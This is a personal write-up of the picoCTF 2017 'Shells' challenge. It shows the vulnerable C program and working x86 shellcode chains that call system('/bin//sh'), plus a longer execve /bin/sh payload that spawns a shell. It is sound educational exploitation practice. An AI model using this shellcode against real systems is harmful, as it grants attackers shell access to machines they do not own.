picoCTF 2017 - Shells writeup & more

as a part of my new year resolution (maybe a little late), i decided to improve my knowledge in binary exploitation. and since i’m pretty new at this, i ended up taking a shot at one of the binexploit problem from picoctf as it’s aimed at “entry-level” players

How much can a couple bytes do

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 10

//TODO: Ask IT why this is here
void win(){
system("/bin/cat ./flag.txt");
}


void vuln(){
char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if(stuff == MAP_FAILED){
printf("Failed to get space. Please talk to admin\n");
exit(0);
}
printf("Give me %d bytes:\n", AMOUNT_OF_STUFF);
fflush(stdout);
int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
if(len == 0){
printf("You didn't give me anything :(");
exit(0);
}
void (*func)() = (void (*)())stuff;
func();
}

int main(int argc, char*argv[]){
printf("My mother told me to never accept things from strangers\n");
printf("How bad could running a couple bytes be though?\n");
fflush(stdout);
vuln();
return 0;
}

from the source code provided, we can see that mmap() will allocate a small executable virtual memory space (10 bytes) which then will hold our input passed using read(). the buffer is then executed using a function pointer. the goal here is to call the win() function in just 10 bytes, which will cat the flag back to us. therefore a simple push <win() address>; ret will suffice

flag

the challenge was fun and all, and i learnt a ton about shellcodes. but since it’s a fairly simple question, i decided to test myself and try to acquire a full shell access. the only problem here is that both virtual memory allocated and the read() input was limited to 10 bytes

challenge accepted

chaining shellcodes

as mentioned above, we can execute any arbitrary 10 bytes shellcode. so the idea here is to chain multiple 10 bytes shellcodes by jumping back to the read() function at the end of each shellcode, while keeping enough space for other instructions. with this, we will have ample space to manipulate the stack and pass arbitrary arguments to the functions. also note that the system() function is called in the win() function. therefore, we can easily obtain its address by disassembling win() function. now putting it all together:

1
2
3
"\x90\x6A\x12\xBB\xC8\x85\x04\x08\xFF\xE3" \
"\x90\x90\x90\xBB\xC6\x85\x04\x08\xFF\xE3/bin//sh" \
"\x8D\x58\x0A\x53\x68\x4E\x85\x04\x08\xC3"

let’s analyze the shellcode

shellcode

the shellcode consist of 3 parts:

  • increase buffer limit to 18 and jump back to read()
  • jump to read() and overflow the allocated space with “/bin//sh”
  • call system() with “/bin//sh” as the argument

notice that short shellcodes is padded with nops to fill out 10 bytes so that they will not be truncated by read(). all we need to do now is pass the shellcode to the binary. but bear in mind that we need to keep the shell open for access so we can run other commands. this can be achieved by using cat - to keep stdin open

shell
yeah

no system for you

now the above method worked because we have acces to system() address, but can we obtain full shell access without having access to it? remember how we can manipulate the stack and pass arbitrary arguments to the functions? we can apply the same technique and call mmap() with larger buffer space. we then can call read() with bigger count limit and pass a longer shellcode to be executed

1
2
3
4
5
"\x53\x53\x53\xBB\xC6\x85\x04\x08\xFF\xE3" \ 
"\x58\x6A\x22\x6A\x07\x6A\x1C\x53\xFF\xE3" \
"\x90\x90\x58\xBB\x73\x85\x04\x08\xFF\xE3" \
"\x90\x6A\x1C\xBB\xC8\x85\x04\x08\xFF\xE3" \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

shellcode2

piping the shellcode to the binary will spawn us a shell:

shell2

conclusion

all of the stuff here is written from the perspective of a binexploit rookie. since it’s my very first attempt in binary exploitation, i had a lot of fun and saw it as an opportunity to learn more about elf debugging and radare2. hence, any tips or feedbacks are very much welcomed!